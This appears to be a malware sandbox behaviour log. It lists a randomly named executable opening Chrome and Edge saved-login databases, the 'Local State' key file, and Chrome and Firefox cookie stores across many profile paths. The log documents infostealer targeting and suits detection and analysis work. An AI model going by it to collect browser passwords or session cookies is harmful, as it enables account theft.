Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
